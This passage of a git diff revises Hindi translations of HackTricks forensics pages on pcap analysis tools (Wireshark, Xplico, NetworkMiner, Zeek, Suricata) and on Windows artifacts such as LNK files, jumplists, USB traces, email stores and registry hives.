चाहिए: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- एक pcap के अंदर **सूचना** निकालें और **malware** के लिए खोजें [**PacketTotal**](https://packettotal.com) +- यदि आपके pcap का **header** **टूट गया** है, तो आपको इसे **सुधारने** का प्रयास करना चाहिए: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- [**PacketTotal**](https://packettotal.com) में एक pcap के अंदर **malware** के लिए **जानकारी** निकालें और खोजें - [**www.virustotal.com**](https://www.virustotal.com) और [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) का उपयोग करके **malicious activity** के लिए खोजें -- **ब्राउज़र से पूर्ण pcap विश्लेषण** [**https://apackets.com/**](https://apackets.com/) +- [**https://apackets.com/**](https://apackets.com/) में **browser से पूर्ण pcap विश्लेषण** ## Extract Information @@ -18,18 +18,19 @@ ### Wireshark -> [!NOTE] +> [!TIP] > **यदि आप एक PCAP का विश्लेषण करने जा रहे हैं, तो आपको मूल रूप से Wireshark का उपयोग करना आना चाहिए** आप कुछ Wireshark ट्रिक्स यहाँ पा सकते हैं: + {{#ref}} wireshark-tricks.md {{#endref}} ### [**https://apackets.com/**](https://apackets.com/) -ब्राउज़र से Pcap विश्लेषण। +Browser से pcap विश्लेषण। ### Xplico Framework @@ -54,12 +55,12 @@ _**127.0.0.1:9876**_ पर _**xplico:xplico**_ क्रेडेंशिय ### NetworkMiner Xplico की तरह, यह एक उपकरण है जो **pcaps से वस्तुओं का विश्लेषण और निकालने** के लिए है। इसका एक मुफ्त संस्करण है जिसे आप **यहां** [**डाउनलोड**](https://www.netresec.com/?page=NetworkMiner) कर सकते हैं। यह **Windows** पर काम करता है।\ -यह उपकरण पैकेट्स से **अन्य जानकारी का विश्लेषण** करने के लिए भी उपयोगी है ताकि आप जान सकें कि **तेजी से** क्या हो रहा था। +यह उपकरण पैकेट्स से **अन्य जानकारी का विश्लेषण** करने के लिए भी उपयोगी है ताकि आप जान सकें कि क्या हो रहा था, **तेजी** से। ### NetWitness Investigator -आप [**NetWitness Investigator यहाँ से डाउनलोड**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) कर सकते हैं **(यह Windows पर काम करता है)**।\ -यह एक और उपयोगी उपकरण है जो **पैकेट्स का विश्लेषण** करता है और जानकारी को एक उपयोगी तरीके से क्रमबद्ध करता है ताकि आप **जान सकें कि अंदर क्या हो रहा है**। +आप [**NetWitness Investigator को यहां से डाउनलोड कर सकते हैं**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(यह Windows पर काम करता है)**।\ +यह एक और उपयोगी उपकरण है जो **पैकेट्स का विश्लेषण** करता है और जानकारी को एक उपयोगी तरीके से क्रमबद्ध करता है ताकि **आप जान सकें कि अंदर क्या हो रहा है**। ### [BruteShark](https://github.com/odedshimon/BruteShark) @@ -119,7 +120,8 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ### Malware Analysis -जांचें कि क्या आप किसी ज्ञात मैलवेयर का कोई फिंगरप्रिंट ढूंढ सकते हैं: +जांचें कि क्या आप किसी ज्ञात मैलवेयर का कोई फिंगरप्रिंट पा सकते हैं: + {{#ref}} ../malware-analysis.md @@ -127,7 +129,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) एक पैसिव, ओपन-सोर्स नेटवर्क ट्रैफ़िक विश्लेषक है। कई ऑपरेटर संदिग्ध या दुर्भावनापूर्ण गतिविधियों की जांच का समर्थन करने के लिए Zeek का उपयोग नेटवर्क सुरक्षा मॉनिटर (NSM) के रूप में करते हैं। Zeek सुरक्षा डोमेन के अलावा प्रदर्शन माप और समस्या निवारण सहित ट्रैफ़िक विश्लेषण कार्यों की एक विस्तृत श्रृंखला का समर्थन करता है। +> [Zeek](https://docs.zeek.org/en/master/about.html) एक पैसिव, ओपन-सोर्स नेटवर्क ट्रैफिक एनालाइज़र है। कई ऑपरेटर संदिग्ध या दुर्भावनापूर्ण गतिविधियों की जांच का समर्थन करने के लिए Zeek का उपयोग नेटवर्क सुरक्षा मॉनिटर (NSM) के रूप में करते हैं। Zeek सुरक्षा डोमेन के अलावा प्रदर्शन माप और समस्या निवारण सहित ट्रैफिक विश्लेषण कार्यों की एक विस्तृत श्रृंखला का समर्थन करता है। बुनियादी रूप से, `zeek` द्वारा बनाए गए लॉग **pcaps** नहीं होते हैं। इसलिए आपको उन लॉग का विश्लेषण करने के लिए **अन्य उपकरणों** का उपयोग करने की आवश्यकता होगी जहाँ **pcaps** के बारे में **जानकारी** होती है। @@ -198,16 +200,19 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` -## अन्य pcap विश्लेषण तकनीकें +## अन्य pcap विश्लेषण ट्रिक्स + {{#ref}} dnscat-exfiltration.md {{#endref}} + {{#ref}} wifi-pcap-analysis.md {{#endref}} + {{#ref}} usb-keystrokes.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index e7bdea6fb..932b942d0 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,39 +1,50 @@ +# विशिष्ट सॉफ़्टवेयर/फाइल प्रकार के ट्रिक्स + {{#include ../../../banners/hacktricks-training.md}} -यहाँ आप विशिष्ट फ़ाइल-प्रकारों और/या सॉफ़्टवेयर के लिए दिलचस्प तरकीबें पा सकते हैं: +यहाँ आप विशिष्ट फाइल-प्रकारों और/या सॉफ़्टवेयर के लिए दिलचस्प ट्रिक्स पा सकते हैं: + {{#ref}} .pyc.md {{#endref}} + {{#ref}} browser-artifacts.md {{#endref}} + {{#ref}} desofuscation-vbs-cscript.exe.md {{#endref}} + {{#ref}} local-cloud-storage.md {{#endref}} + {{#ref}} office-file-analysis.md {{#endref}} + {{#ref}} pdf-file-analysis.md {{#endref}} + {{#ref}} png-tricks.md {{#endref}} + {{#ref}} video-and-audio-file-analysis.md {{#endref}} + {{#ref}} zips-tricks.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index 519027262..698f439fd 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -18,13 +18,13 @@ Timeline एक Windows विशेषता है जो **कालानु ### ADS (Alternate Data Streams) -डाउनलोड की गई फ़ाइलों में **ADS Zone.Identifier** हो सकता है जो **यह बताता है कि** इसे **कैसे** **डाउनलोड** किया गया था, जैसे कि इंट्रानेट, इंटरनेट, आदि। कुछ सॉफ़्टवेयर (जैसे ब्राउज़र) आमतौर पर फ़ाइल डाउनलोड करने के लिए **URL** जैसी **अधिक** **जानकारी** भी डालते हैं। +डाउनलोड की गई फ़ाइलों में **ADS Zone.Identifier** हो सकता है जो **यह बताता है कि** इसे **कैसे** डाउनलोड किया गया था, जैसे कि इंट्रानेट, इंटरनेट, आदि। कुछ सॉफ़्टवेयर (जैसे ब्राउज़र) आमतौर पर और भी **जानकारी** डालते हैं जैसे कि **URL** जहाँ से फ़ाइल डाउनलोड की गई थी। ## **File Backups** ### Recycle Bin -Vista/Win7/Win8/Win10 में **Recycle Bin** को ड्राइव के रूट में **`$Recycle.bin`** फ़ोल्डर में पाया जा सकता है (`C:\$Recycle.bin`).\ +Vista/Win7/Win8/Win10 में **Recycle Bin** को ड्राइव की जड़ में **`$Recycle.bin`** फ़ोल्डर में पाया जा सकता है (`C:\$Recycle.bin`).\ जब इस फ़ोल्डर में एक फ़ाइल हटाई जाती है, तो 2 विशिष्ट फ़ाइलें बनाई जाती हैं: - `$I{id}`: फ़ाइल जानकारी (जब इसे हटाया गया था) @@ -40,9 +40,9 @@ Vista/Win7/Win8/Win10 में **Recycle Bin** को ड्राइव के ### वॉल्यूम शैडो कॉपियाँ -शैडो कॉपी एक तकनीक है जो Microsoft Windows में शामिल है, जो कंप्यूटर फ़ाइलों या वॉल्यूम की **बैकअप कॉपियाँ** या स्नैपशॉट बनाने की अनुमति देती है, भले ही वे उपयोग में हों। +शैडो कॉपी एक तकनीक है जो Microsoft Windows में शामिल है, जो कंप्यूटर फ़ाइलों या वॉल्यूम के **बैकअप कॉपियाँ** या स्नैपशॉट बनाने की अनुमति देती है, भले ही वे उपयोग में हों। -ये बैकअप आमतौर पर फ़ाइल सिस्टम की जड़ से `\System Volume Information` में स्थित होते हैं और नाम **UIDs** से बना होता है, जो निम्नलिखित छवि में दिखाए गए हैं: +ये बैकअप आमतौर पर फ़ाइल सिस्टम की जड़ से `\System Volume Information` में स्थित होते हैं और नाम **UIDs** से बना होता है जो निम्नलिखित चित्र में दिखाया गया है: ![](<../../../images/image (94).png>) @@ -54,7 +54,7 @@ Vista/Win7/Win8/Win10 में **Recycle Bin** को ड्राइव के ![](<../../../images/image (254).png>) -रजिस्ट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` में `वॉल्यूम शैडो कॉपियाँ` के बारे में कॉन्फ़िगरेशन जानकारी भी होती है। +रजिस्ट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` में `वॉल्यूम शैडो कॉपियाँ` के बारे में भी कॉन्फ़िगरेशन जानकारी होती है। ### ऑफिस ऑटोसेव्ड फ़ाइलें @@ -66,20 +66,20 @@ Vista/Win7/Win8/Win10 में **Recycle Bin** को ड्राइव के ### हाल के दस्तावेज़ (LNK) -Windows **स्वचालित रूप से** इन **शॉर्टकट्स** को तब **बनाता है** जब उपयोगकर्ता **एक फ़ाइल खोलता है, उपयोग करता है या बनाता है**: +Windows **स्वचालित रूप से** **इन शॉर्टकट्स** को बनाता है जब उपयोगकर्ता **एक फ़ाइल खोलता है, उपयोग करता है या बनाता है**: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - ऑफिस: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` जब एक फ़ोल्डर बनाया जाता है, तो फ़ोल्डर, पैरेंट फ़ोल्डर और दादा फ़ोल्डर के लिए एक लिंक भी बनाया जाता है। -ये स्वचालित रूप से बनाए गए लिंक फ़ाइलें **उद्गम के बारे में जानकारी** **रखती हैं** जैसे कि यह **फ़ाइल** **है** **या** **फ़ोल्डर**, उस फ़ाइल के **MAC** **समय**, फ़ाइल कहाँ संग्रहीत है उसका **वॉल्यूम जानकारी** और **लक्षित फ़ाइल का फ़ोल्डर**। यह जानकारी उन फ़ाइलों को पुनर्प्राप्त करने में सहायक हो सकती है यदि वे हटा दी गई हों। +ये स्वचालित रूप से बनाए गए लिंक फ़ाइलें **उद्गम के बारे में जानकारी** **रखती हैं** जैसे कि यह **फ़ाइल** **या** **फ़ोल्डर** है, उस फ़ाइल के **MAC** **समय**, फ़ाइल कहाँ संग्रहीत है उसका **वॉल्यूम जानकारी** और **लक्षित फ़ाइल का फ़ोल्डर**। यह जानकारी उन फ़ाइलों को पुनर्प्राप्त करने में सहायक हो सकती है यदि वे हटा दी गई हों। -इसके अलावा, लिंक फ़ाइल की **तारीख बनाई गई** मूल फ़ाइल के **पहले** **उपयोग** की पहली **बार** है और लिंक फ़ाइल की **तारीख संशोधित** मूल फ़ाइल के उपयोग की **अंतिम** **बार** है। +इसके अलावा, लिंक फ़ाइल की **तारीख बनाई गई** वह पहली **बार** है जब मूल फ़ाइल **पहली बार** **उपयोग की गई** थी और लिंक फ़ाइल की **तारीख संशोधित** वह **अंतिम** **बार** है जब मूल फ़ाइल का उपयोग किया गया था। इन फ़ाइलों का निरीक्षण करने के लिए आप [**LinkParser**](http://4discovery.com/our-tools/) का उपयोग कर सकते हैं। -इस टूल में आपको **2 सेट** टाइमस्टैम्प मिलेंगे: +इस उपकरण में आपको **2 सेट** टाइमस्टैम्प मिलेंगे: - **पहला सेट:** 1. FileModifiedDate @@ -90,67 +90,67 @@ Windows **स्वचालित रूप से** इन **शॉर्ट 2. LinkAccessDate 3. LinkCreationDate। -पहले सेट का टाइमस्टैम्प **फ़ाइल के स्वयं के टाइमस्टैम्प** को संदर्भित करता है। दूसरा सेट **लिंक की गई फ़ाइल के टाइमस्टैम्प** को संदर्भित करता है। +पहले सेट का टाइमस्टैम्प **फ़ाइल के स्वयं के टाइमस्टैम्प** को संदर्भित करता है। दूसरे सेट का टाइमस्टैम्प **लिंक की गई फ़ाइल के टाइमस्टैम्प** को संदर्भित करता है। आप Windows CLI टूल चलाकर समान जानकारी प्राप्त कर सकते हैं: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` -In this case, the information is going to be saved inside a CSV file. +इस मामले में, जानकारी एक CSV फ़ाइल के अंदर सहेजी जाएगी। -### Jumplists +### जम्पलिस्ट -ये हाल के फ़ाइलें हैं जो प्रत्येक एप्लिकेशन के लिए निर्दिष्ट की गई हैं। यह **एक एप्लिकेशन द्वारा उपयोग की गई हाल की फ़ाइलों की सूची** है जिसे आप प्रत्येक एप्लिकेशन पर एक्सेस कर सकते हैं। इन्हें **स्वचालित रूप से या कस्टम** बनाया जा सकता है। +ये हाल के फ़ाइलें हैं जो प्रत्येक एप्लिकेशन के लिए संकेतित होती हैं। यह **एक एप्लिकेशन द्वारा उपयोग की गई हाल की फ़ाइलों की सूची** है जिसे आप प्रत्येक एप्लिकेशन पर एक्सेस कर सकते हैं। इन्हें **स्वचालित रूप से या कस्टम** रूप से बनाया जा सकता है। -स्वचालित रूप से बनाए गए **jumplists** `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` में संग्रहीत होते हैं। jumplists का नाम `{id}.autmaticDestinations-ms` प्रारूप का पालन करते हैं जहाँ प्रारंभिक ID एप्लिकेशन का ID है। +स्वचालित रूप से बनाए गए **जम्पलिस्ट** `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` में संग्रहीत होते हैं। जम्पलिस्ट का नाम `{id}.autmaticDestinations-ms` प्रारूप का पालन करता है जहाँ प्रारंभिक ID एप्लिकेशन की ID होती है। -कस्टम jumplists `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` में संग्रहीत होते हैं और इन्हें आमतौर पर एप्लिकेशन द्वारा बनाया जाता है क्योंकि फ़ाइल के साथ कुछ **महत्वपूर्ण** हुआ है (शायद पसंदीदा के रूप में चिह्नित किया गया है) +कस्टम जम्पलिस्ट `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` में संग्रहीत होते हैं और इन्हें आमतौर पर एप्लिकेशन द्वारा बनाया जाता है क्योंकि फ़ाइल के साथ कुछ **महत्वपूर्ण** हुआ है (शायद पसंदीदा के रूप में चिह्नित किया गया है) -किसी भी jumplist का **निर्माण समय** **पहली बार फ़ाइल को एक्सेस किए जाने का समय** और **संशोधित समय अंतिम बार** को दर्शाता है। +किसी भी जम्पलिस्ट का **निर्माण समय** **पहली बार फ़ाइल को एक्सेस किए जाने का समय** और **संशोधित समय अंतिम बार** को दर्शाता है। -आप [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) का उपयोग करके jumplists की जांच कर सकते हैं। +आप [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) का उपयोग करके जम्पलिस्ट की जांच कर सकते हैं। ![](<../../../images/image (168).png>) -(_ध्यान दें कि JumplistExplorer द्वारा प्रदान किए गए टाइमस्टैम्प jumplist फ़ाइल से संबंधित हैं_) +(_ध्यान दें कि JumplistExplorer द्वारा प्रदान किए गए टाइमस्टैम्प जम्पलिस्ट फ़ाइल से संबंधित हैं_) -### Shellbags +### शेलबैग्स -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**शेलबैग्स क्या हैं यह जानने के लिए इस लिंक का पालन करें।**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Windows USBs का उपयोग -यह पहचानना संभव है कि एक USB डिवाइस का उपयोग किया गया था धन्यवाद निम्नलिखित के निर्माण के लिए: +यह पहचानना संभव है कि एक USB डिवाइस का उपयोग किया गया था, निम्नलिखित के निर्माण के कारण: -- Windows Recent Folder -- Microsoft Office Recent Folder -- Jumplists +- Windows हाल की फ़ोल्डर +- Microsoft Office हाल की फ़ोल्डर +- जम्पलिस्ट -ध्यान दें कि कुछ LNK फ़ाइल मूल पथ की ओर इशारा करने के बजाय WPDNSE फ़ोल्डर की ओर इशारा करती है: +ध्यान दें कि कुछ LNK फ़ाइल मूल पथ की ओर इशारा करने के बजाय WPDNSE फ़ोल्डर की ओर इशारा करती हैं: ![](<../../../images/image (218).png>) -WPDNSE फ़ोल्डर में फ़ाइलें मूल फ़ाइलों की एक प्रति हैं, इसलिए ये PC के पुनरारंभ के दौरान जीवित नहीं रहेंगी और GUID एक shellbag से लिया गया है। +WPDNSE फ़ोल्डर में फ़ाइलें मूल फ़ाइलों की एक प्रति होती हैं, इसलिए ये PC के पुनरारंभ होने पर जीवित नहीं रहेंगी और GUID एक शेलबैग से लिया जाता है। -### Registry Information +### रजिस्ट्री जानकारी -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) कौन से रजिस्ट्री कुंजी USB जुड़े उपकरणों के बारे में दिलचस्प जानकारी रखती हैं। +[यह पृष्ठ देखें](interesting-windows-registry-keys.md#usb-information) कि कौन से रजिस्ट्री कुंजी USB जुड़े उपकरणों के बारे में दिलचस्प जानकारी रखती हैं। -### setupapi +### सेटअपएपीआई USB कनेक्शन कब उत्पन्न हुआ, इसके बारे में टाइमस्टैम्प प्राप्त करने के लिए फ़ाइल `C:\Windows\inf\setupapi.dev.log` की जांच करें ( `Section start` के लिए खोजें)। -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) -### USB Detective +### USB डिटेक्टिव [**USBDetective**](https://usbdetective.com) का उपयोग उन USB उपकरणों के बारे में जानकारी प्राप्त करने के लिए किया जा सकता है जो एक छवि से जुड़े हुए हैं। ![](<../../../images/image (452).png>) -### Plug and Play Cleanup +### प्लग एंड प्ले क्लीनअप -'Plug and Play Cleanup' के रूप में ज्ञात अनुसूचित कार्य मुख्य रूप से पुराने ड्राइवर संस्करणों को हटाने के लिए डिज़ाइन किया गया है। इसके निर्दिष्ट उद्देश्य के विपरीत, जो नवीनतम ड्राइवर पैकेज संस्करण को बनाए रखने के लिए है, ऑनलाइन स्रोतों का सुझाव है कि यह 30 दिनों से निष्क्रिय ड्राइवरों को भी लक्षित करता है। परिणामस्वरूप, पिछले 30 दिनों में जुड़े नहीं गए हटाने योग्य उपकरणों के ड्राइवरों को हटाने के अधीन किया जा सकता है। +'प्लग एंड प्ले क्लीनअप' के रूप में ज्ञात अनुसूचित कार्य मुख्य रूप से पुराने ड्राइवर संस्करणों को हटाने के लिए डिज़ाइन किया गया है। इसके निर्दिष्ट उद्देश्य के विपरीत कि नवीनतम ड्राइवर पैकेज संस्करण को बनाए रखा जाए, ऑनलाइन स्रोतों का सुझाव है कि यह 30 दिनों से निष्क्रिय ड्राइवरों को भी लक्षित करता है। परिणामस्वरूप, पिछले 30 दिनों में जुड़े नहीं गए हटाने योग्य उपकरणों के ड्राइवरों को हटाने के अधीन किया जा सकता है। यह कार्य निम्नलिखित पथ पर स्थित है: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. @@ -159,18 +159,18 @@ USB कनेक्शन कब उत्पन्न हुआ, इसके **कार्य के प्रमुख घटक और सेटिंग्स:** - **pnpclean.dll**: यह DLL वास्तविक सफाई प्रक्रिया के लिए जिम्मेदार है। -- **UseUnifiedSchedulingEngine**: `TRUE` पर सेट, सामान्य कार्य अनुसूची इंजन के उपयोग को इंगित करता है। +- **UseUnifiedSchedulingEngine**: `TRUE` पर सेट, सामान्य कार्य अनुसूची इंजन के उपयोग को दर्शाता है। - **MaintenanceSettings**: -- **Period ('P1M')**: कार्य शेड्यूलर को नियमित स्वचालित रखरखाव के दौरान मासिक सफाई कार्य शुरू करने के लिए निर्देशित करता है। -- **Deadline ('P2M')**: कार्य शेड्यूलर को निर्देशित करता है, यदि कार्य दो लगातार महीनों के लिए विफल रहता है, तो आपातकालीन स्वचालित रखरखाव के दौरान कार्य को निष्पादित करें। +- **Period ('P1M')**: कार्य अनुसूचक को नियमित स्वचालित रखरखाव के दौरान मासिक सफाई कार्य शुरू करने के लिए निर्देशित करता है। +- **Deadline ('P2M')**: कार्य अनुसूचक को निर्देशित करता है, यदि कार्य दो लगातार महीनों के लिए विफल रहता है, तो आपातकालीन स्वचालित रखरखाव के दौरान कार्य को निष्पादित करें। यह कॉन्फ़िगरेशन नियमित रखरखाव और ड्राइवरों की सफाई सुनिश्चित करता है, लगातार विफलताओं के मामले में कार्य को फिर से प्रयास करने के लिए प्रावधानों के साथ। -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**अधिक जानकारी के लिए देखें:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## ईमेल -ईमेल में **2 दिलचस्प भाग होते हैं: ईमेल के हेडर और सामग्री**। **हेडर** में आप जानकारी पा सकते हैं जैसे: +ईमेल में **2 दिलचस्प भाग होते हैं: ईमेल के हेडर और सामग्री**। **हेडर** में आप निम्नलिखित जानकारी पा सकते हैं: - **किसने** ईमेल भेजा (ईमेल पता, IP, मेल सर्वर जिन्होंने ईमेल को पुनर्निर्देशित किया) - **कब** ईमेल भेजा गया था @@ -179,7 +179,7 @@ USB कनेक्शन कब उत्पन्न हुआ, इसके ![](<../../../images/image (593).png>) -### Windows Mail App +### Windows मेल ऐप यह एप्लिकेशन ईमेल को HTML या टेक्स्ट में सहेजता है। आप ईमेल को `\Users\\AppData\Local\Comms\Unistore\data\3\` के अंदर उपफोल्डरों में पा सकते हैं। ईमेल को `.dat` एक्सटेंशन के साथ सहेजा जाता है। @@ -191,7 +191,7 @@ USB कनेक्शन कब उत्पन्न हुआ, इसके जब एक्सचेंज सर्वर या आउटलुक क्लाइंट का उपयोग किया जाता है, तो कुछ MAPI हेडर होंगे: -- `Mapi-Client-Submit-Time`: सिस्टम का समय जब ईमेल भेजा गया था +- `Mapi-Client-Submit-Time`: समय जब ईमेल भेजा गया था - `Mapi-Conversation-Index`: थ्रेड के बच्चों के संदेशों की संख्या और थ्रेड के प्रत्येक संदेश का टाइमस्टैम्प - `Mapi-Entry-ID`: संदेश पहचानकर्ता। - `Mappi-Message-Flags` और `Pr_last_Verb-Executed`: MAPI क्लाइंट के बारे में जानकारी (संदेश पढ़ा? नहीं पढ़ा? उत्तर दिया? पुनर्निर्देशित? कार्यालय से बाहर?) @@ -207,52 +207,52 @@ Microsoft Outlook क्लाइंट में, सभी भेजे गए ![](<../../../images/image (498).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OST फ़ाइलें -एक **OST फ़ाइल** Microsoft Outlook द्वारा उत्पन्न होती है जब इसे **IMAP** या **Exchange** सर्वर के साथ कॉन्फ़िगर किया जाता है, जो PST फ़ाइल के समान जानकारी संग्रहीत करती है। यह फ़ाइल सर्वर के साथ समन्वयित होती है, **अंतिम 12 महीनों** के लिए डेटा बनाए रखती है, अधिकतम आकार **50GB** तक, और PST फ़ाइल के समान निर्देशिका में स्थित होती है। OST फ़ाइल देखने के लिए, [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) का उपयोग किया जा सकता है। +एक **OST फ़ाइल** Microsoft Outlook द्वारा उत्पन्न होती है जब इसे **IMAP** या **एक्सचेंज** सर्वर के साथ कॉन्फ़िगर किया जाता है, जो PST फ़ाइल के समान जानकारी संग्रहीत करती है। यह फ़ाइल सर्वर के साथ समन्वयित होती है, **अंतिम 12 महीनों** के लिए डेटा बनाए रखती है, अधिकतम आकार **50GB** तक, और PST फ़ाइल के समान निर्देशिका में स्थित होती है। OST फ़ाइल देखने के लिए, [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) का उपयोग किया जा सकता है। -### Retrieving Attachments +### अटैचमेंट पुनर्प्राप्त करना -खोई हुई अटैचमेंट्स को पुनर्प्राप्त किया जा सकता है: +खोई हुई अटैचमेंट को पुनर्प्राप्त किया जा सकता है: - **IE10** के लिए: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` - **IE11 और ऊपर** के लिए: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### थंडरबर्ड MBOX फ़ाइलें -**Thunderbird** **MBOX फ़ाइलों** का उपयोग डेटा संग्रहीत करने के लिए करता है, जो `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` में स्थित होती हैं। +**थंडरबर्ड** **MBOX फ़ाइलों** का उपयोग डेटा संग्रहीत करने के लिए करता है, जो `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` में स्थित होती हैं। -### Image Thumbnails +### इमेज थंबनेल -- **Windows XP और 8-8.1**: थंबनेल के साथ एक फ़ोल्डर को एक्सेस करने से एक `thumbs.db` फ़ाइल उत्पन्न होती है जो छवि पूर्वावलोकन संग्रहीत करती है, यहां तक कि हटाने के बाद भी। -- **Windows 7/10**: `thumbs.db` तब बनाई जाती है जब UNC पथ के माध्यम से नेटवर्क पर एक्सेस किया जाता है। -- **Windows Vista और नए**: थंबनेल पूर्वावलोकन `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` में केंद्रीकृत होते हैं जिनकी फ़ाइलें **thumbcache_xxx.db** नाम की होती हैं। [**Thumbsviewer**](https://thumbsviewer.github.io) और [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) इन फ़ाइलों को देखने के लिए उपकरण हैं। +- **Windows XP और 8-8.1**: थंबनेल के साथ एक फ़ोल्डर को एक्सेस करने से एक `thumbs.db` फ़ाइल उत्पन्न होती है जो इमेज प्रीव्यू को संग्रहीत करती है, यहां तक कि हटाने के बाद भी। +- **Windows 7/10**: `thumbs.db` तब बनाया जाता है जब UNC पथ के माध्यम से नेटवर्क पर एक्सेस किया जाता है। +- **Windows Vista और नए**: थंबनेल प्रीव्यू को `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` में केंद्रीकृत किया गया है जिसमें फ़ाइलें **thumbcache_xxx.db** नाम की होती हैं। [**Thumbsviewer**](https://thumbsviewer.github.io) और [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) इन फ़ाइलों को देखने के लिए उपकरण हैं। -### Windows Registry Information +### Windows रजिस्ट्री जानकारी -Windows Registry, जो व्यापक प्रणाली और उपयोगकर्ता गतिविधि डेटा संग्रहीत करता है, निम्नलिखित फ़ाइलों में निहित है: +Windows रजिस्ट्री, जो व्यापक प्रणाली और उपयोगकर्ता गतिविधि डेटा संग्रहीत करती है, निम्नलिखित फ़ाइलों में होती है: - विभिन्न `HKEY_LOCAL_MACHINE` उपकुंजी के लिए `%windir%\System32\Config`। - `HKEY_CURRENT_USER` के लिए `%UserProfile%{User}\NTUSER.DAT`। - Windows Vista और बाद के संस्करण `HKEY_LOCAL_MACHINE` रजिस्ट्री फ़ाइलों का बैकअप `%Windir%\System32\Config\RegBack\` में करते हैं। -- इसके अतिरिक्त, प्रोग्राम निष्पादन की जानकारी `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` में संग्रहीत होती है जो Windows Vista और Windows 2008 Server के बाद से है। +- इसके अतिरिक्त, प्रोग्राम निष्पादन की जानकारी Windows Vista और Windows 2008 Server से आगे `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` में संग्रहीत होती है। -### Tools +### उपकरण कुछ उपकरण रजिस्ट्री फ़ाइलों का विश्लेषण करने के लिए उपयोगी हैं: -- **Registry Editor**: यह Windows में स्थापित है। यह वर्तमान सत्र की Windows रजिस्ट्री के माध्यम से नेविगेट करने के लिए एक GUI है। +- **रजिस्ट्री संपादक**: यह Windows में स्थापित है। यह वर्तमान सत्र की Windows रजिस्ट्री के माध्यम से नेविगेट करने के लिए एक GUI है। - [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): यह आपको रजिस्ट्री फ़ाइल को लोड करने और GUI के साथ उनके माध्यम से नेविगेट करने की अनुमति देता है। इसमें दिलचस्प जानकारी वाले कुंजी को उजागर करने वाले बुकमार्क भी होते हैं। - [**RegRipper**](https://github.com/keydet89/RegRipper3.0): फिर से, इसमें एक GUI है जो लोड की गई रजिस्ट्री के माध्यम से नेविगेट करने की अनुमति देता है और इसमें प्लगइन्स होते हैं जो लोड की गई रजिस्ट्री के अंदर दिलचस्प जानकारी को उजागर करते 